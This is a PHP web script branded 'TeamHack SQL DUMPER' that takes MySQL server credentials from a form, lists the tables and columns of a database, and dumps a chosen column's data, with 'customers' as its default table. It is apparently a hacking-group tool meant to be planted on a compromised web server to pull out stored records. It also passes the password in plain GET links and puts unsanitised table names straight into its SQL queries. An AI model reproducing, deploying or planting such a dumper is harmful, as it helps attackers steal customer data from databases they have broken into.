<head>
<title>TeamHack SQL DUMPER</title>
<style type="text/css">
body {background:#000000; color:#00FF33;}
#dumper { margin:auto; width:302px; height:auto; border:solid 1px;}
#column {border:solid 1px #00FF00; width:auto; height:auto; float:left; margin:0px 20px 0px 5px; padding:5px 20px 10px 10px; background-color:#000000;}
#column a:link {text-decoration:none; color:#00FF33;}
#column a:hover {text-decoration:underline; color:#00FFFF; background-color:#663399}
#column a:visited {text-decoration:blink; color:#FF0000;}
#column td:hover {background-color:#663399; border:solid 1px #00FF00;}
#column h3 {font-family:Georgia, "Times New Roman", Times, serif;font-size:16px; color:#66FFFF;}

#table { border:solid 1px #00FF00;width:auto; height:auto; float:left; margin:0px 20px 0px 20px; padding:5px 20px 10px 10px; background-color:#000000;}
#table a:link {text-decoration:none; color:#00FF33;}
#table a:hover {text-decoration:underline; color:#00FFFF; background-color:#663399}
#table a:visited {text-decoration:blink; color:#FF0000;}
#table h3 {font-family:Georgia, "Times New Roman", Times, serif;font-size:18px; color:#66FFFF;}
#table td:hover {background-color:#663399; border:solid 1px #00FF00;}

</style>
</head>

<body>
<?
$dbhost = $_REQUEST['dbhost']; 
$user	= $_REQUEST['user'];
$pass	= $_REQUEST['pass'];
$dbname	= $_REQUEST['dbname'];
$table = "customers";

if(empty($dbhost))
{print "<div id=dumper><form id=DBLOGIN name=DBLOGIN method=post action=>
  <table width=302 border=0>
    <tr>
      <td width=97>Server</td>
      <td width=189><label>
        <input name=dbhost type=text id=dbhost />
      </label></td>
    </tr>
    <tr>
      <td>Username</td>
      <td><label>
        <input name=user type=text id=user />
      </label></td>
    </tr>
    <tr>
      <td>Password</td>
      <td><label>
        <input name=pass type=text id=pass />
      </label></td>
    </tr>
    <tr>
      <td>Database</td>
      <td><label>
        <input name=dbname type=text id=dbname />
      </label></td>
    </tr>
    <tr>
      <td colspan=2 align=right valign=middle><label>
        <input type=submit name=Submit value=Connect />
      </label></td>
    </tr>
  </table>
</form></div>";
}else{
echo "
<table width=100% border=0 align=center>
  <tr>
    <td width=14% align=left valign=top>";
	
if (!@mysql_connect($dbhost,$user,$pass))
{ echo "Could not connect to mysql";}

if (!@mysql_select_db($dbname))
{ echo "No database selected"; }
echo "<div id=table><center><h3>MYSQL Table List</h3></center><table border=0>";

$listtbl = mysql_list_tables($dbname);
$num_rows = mysql_num_rows($listtbl);
for ($i = 0; $i < $num_rows; $i++) {
$tablelist = mysql_tablename($listtbl, $i);
echo "<tr><td><small><a href=?TeamHack=GetAllFrom&dbhost=$dbhost&dbname=$dbname&user=$user&pass=$pass&table=$tablelist>$tablelist</a></small></td></tr>";
	}
echo "</table></div>";

echo "</td>";
    echo "<td width=86% align=left valign=top><table width=100% border=0>
      <tr>
        <td width=100% height=485 align=left valign=top><label><small>";
            $usedb = mysql_connect($dbhost,$user,$pass);
            $table = $_REQUEST['table'];
			echo "<div id=column><h3>Column of $table</h3><table border=0 width=100%>";
            
            

            $fields = mysql_list_fields($dbname,$table,$usedb);
            $columns = mysql_num_fields($fields);
            
            for ($i = 0; $i < $columns; $i++) {
            $colum = mysql_field_name($fields, $i);
            
            echo "<tr><td><small><a href=?TeamHack=GetAllFrom&dbhost=$dbhost&dbname=$dbname&user=$user&pass=$pass&table=$table&column=$colum>$colum</a></small></td></tr>";
            }
            echo "		</table></div>
          </small>
            <textarea name=textarea2 cols=40 rows=20>";
$column = $_REQUEST['column'];	
if (empty($column)) {echo "choose 1 column to see data";} else {	
$data = mysql_query("SELECT * FROM $table");
while ( $mask = mysql_fetch_array($data)){
echo "$mask[$column]\n";}
}
			
			echo "</textarea>
          </label></td>
        </tr>
    </table></td>
  </tr>
</table>
"; 
}
?>
</body>
</html>
